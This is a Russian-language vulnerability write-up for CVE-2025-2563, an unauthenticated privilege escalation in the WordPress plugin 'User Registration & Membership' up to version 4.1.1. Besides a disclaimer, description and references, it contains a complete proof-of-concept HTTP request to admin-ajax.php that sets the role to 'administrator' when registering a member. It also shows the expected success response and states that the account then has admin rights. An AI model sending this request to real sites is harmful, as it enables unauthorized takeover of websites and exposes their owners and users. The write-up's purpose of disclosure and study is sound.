CVE-2025-2563

User Registration & Membership <= 4.1.1 — Неавторизованное повышение привилегий

Отказ от ответственности!

Информация, представленная в данном описании CVE (Common Vulnerabilities and Exposures), предназначена исключительно для образовательных и информационных целей. Предоставленные сведения основаны на общедоступных ресурсах, исследованиях и анализе, проведённом автором. Содержание не предназначено для пропаганды или поощрения любых незаконных действий, включая взлом, эксплуатацию уязвимостей или несанкционированный доступ к системам.

Автор не несёт никакой ответственности за любое неправомерное использование представленной информации. Рекомендуется, чтобы отдельные лица и организации применяли эти знания ответственно и в соответствии с действующими законами и нормативными актами. Читателям настоятельно рекомендуется тестировать уязвимости только в контролируемых средах с надлежащим разрешением.

Автор и соавторы данного описания не поддерживают и не одобряют вредоносную деятельность и поощряют ответственное раскрытие уязвимостей и этичные методы взлома.

---

Описание

Критическая уязвимость безопасности была обнаружена в плагине WordPress «User Registration & Membership» — популярном инструменте для создания сайтов членства и форм регистрации. Недостаток, идентифицированный как CVE-2025-2563, имеет оценку CVSS 9.8, что указывает на его высокую степень серьёзности.

Плагин User Registration & Membership для WordPress уязвим к повышению привилегий в версиях до 4.1.1 включительно. Это связано с недостаточными ограничениями на тип роли в функции 'prepare_members_data()'. Это позволяет неавторизованным злоумышленникам создавать новые учётные записи пользователей с ролью «administrator» при следующих условиях:

1. В плагине активирован модуль членства (membership add-on)
2. Зарегистрированный пользователь не требует подтверждения

---

PoC (Доказательство концепции)

1. Зарегистрируйтесь через страницу на фронтенде по адресу /registration или /membership-registration.
2. После регистрации используйте следующие данные запроса.
   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
   Accept: */*
   Host: hackthebox.test
   Accept-Encoding: gzip, deflate, br
   Connection: keep-alive
   Content-Type: multipart/form-data; boundary=--------------------------189123966817005614765335
   
   ----------------------------189123966817005614765335
   Content-Disposition: form-data; name="action"
   
   user_registration_membership_register_member
   ----------------------------189123966817005614765335
   Content-Disposition: form-data; name="security"
   
   THE_NONCE_HERE
   ----------------------------189123966817005614765335
   Content-Disposition: form-data; name="members_data"
   
   {"membership":"MEMBERSHIP_ID","payment_method":"free","start_date":"2025-3-29","username":"REGISTERED_USERNAME","role":"administrator"}
   ----------------------------189123966817005614765335--
   

3. Ответ должен быть таким:
   root@kitploit:~

   {
       "success": true,
       "data": {
           "member_id": 24,
           "transaction_id": "",
           "message": "New member has been successfully created."
       }
   }  
   

4. Теперь вы можете войти в зарегистрированную учётную запись с привилегиями администратора.

---

Ссылки

1. https://plugins.trac.wordpress.org/browser/user-registration/tags/4.1.2/modules/membership/includes/Admin/Services/MembersService.php?rev=3259656#L106
2. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-411-unauthenticated-privilege-escalation
3. https://securityonline.info/wordpress-plugin-cve-2025-2563-scores-9-8-threatens-thousands-of-membership-sites/

---

Благодарности

• https://saweria.co/ubaii
• https://buymeacoffee.com/ubaii
• https://trakteer.id/ubaii